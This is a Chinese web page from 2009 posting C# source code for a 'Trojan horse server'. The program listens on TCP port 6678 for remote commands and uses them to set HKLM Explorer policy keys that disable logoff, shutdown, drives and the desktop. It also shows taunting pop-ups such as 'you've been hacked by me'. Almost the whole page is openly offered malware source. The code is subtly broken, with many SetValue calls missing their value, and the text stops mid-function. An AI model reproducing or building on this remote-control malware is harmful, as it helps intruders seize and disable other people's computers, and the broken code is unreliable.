特洛伊木马服务器源代码(C#)

发布时间:2009年06月04日      浏览次数:1149 次
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using Microsoft.Win;
namespace server
{
/// <summary>
/// Form 的摘要说明。
/// </summary>
public class Form : System.Windows.Forms.Form
{
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;
private TcpListener listener;
private string mystr="您好!非常抱歉,您的注册表:";
private RegistryKey rrr=Registry.LocalMachine;
private RegistryKey key;
public Form()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
{int port =6678;
listener=new TcpListener(port);
listener.Start();
Thread thread=new Thread(new ThreadStart(target));
thread.Start();
}
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
public void target()
{
Socket socket= listener.AcceptSocket();
while(socket.Connected)
{
byte[] by=new Byte[6];
int i=socket.Receive(by,by.Length,0);
string ss=System.Text.Encoding.ASCII.GetString(by);
//OOOOOOOOOOOOOOOOOOOOOOOOOOO以下是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOO
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="jiance")
{
string str="hjc";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
if(ss=="zx000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改!请将它置为0!";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff被修改!请将它置为0!";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if(ss=="")
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
//****************************************************************************
if(ss=="zx000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",);
key.Close();
mystr=mystr+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改!请将它置为0!";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",);
key.Close();
mystr=mystr+"LocalMachine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose被修改!请将它置为0!";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if(ss=="zx000"){
//****************************************************************************
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if(ss=="zx000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//====================================================================
if(ss=="zx000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//=========================================================================
//$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//**************************************************
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
}
catch(Exception ee){MessageBox.Show(ee.Message);}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************
if(ss=="zx00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoDrives、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//************************************
if(ss=="zx0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//**************************************
if(ss=="zx0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//******************************************
if(ss=="zx0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoDrives、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zx0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",);
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",);
key.SetValue("NoClose",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zx")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",);
key.SetValue("NoClose",);
key.SetValue("NoDrives",);
key.SetValue("NoDesktop",);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//*********************************************
//OOOOOOOOOOOOOOOOOOOOOOOOOOO以上是修改注册表OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以下是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPPPPP
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="zs000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if(ss=="")
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
//***********************************************************************
if(ss=="zs000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if(ss=="zx000"){
//********************************************************************
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
if(ss=="zs000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//==================================================================
if(ss=="zs000")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//=========================================================================
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoDrives",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoDrives",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//**************************************************
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************
if(ss=="zs00")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//************************************
if(ss=="zs0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoLogOff、NoClose、NoDrives被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//**************************************
if(ss=="zs0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//******************************************
if(ss=="zs0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zs0")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoDrives",0);
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
mystr=mystr+"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值NoClose、NoDrives、NoDesktop被修改!请将它置为0";
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoDrives",0);
key.SetValue("NoClose",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//********************************************
if(ss=="zs")
{
try
{
key=rrr.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}
catch{}
if(key==null)
{
try
{
RegistryKey key=rrr.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key.SetValue("NoLogOff",0);
key.SetValue("NoClose",0);
key.SetValue("NoDrives",0);
key.SetValue("NoDesktop",0);
key.Close();
}//try
catch{}
}//if(key==null){
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}//if
//PPPPPPPPPPPPPPPPPPPPPPPPPPPP以上是善意修改部分PPPPPPPPPPPPPPPPPPPPPPPPPP
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以下是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
if(ss=="jg0000")
{
MessageBox.Show("你被我黑了!");
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>以上是警告>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以下是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
if(ss=="jy0000")
{
MessageBox.Show(mystr);
string str="hkz";
byte[] bytee=System.Text.Encoding.ASCII.GetBytes(str.ToCharArray());
socket.Send(bytee,bytee.Length,0);
}
//&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&以上是建议&&&&&&&&&&&&&&&&&&&&&&&&&&&
//##################################以下是修改木马位置###################
//||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
if(ss=="mw000")
{
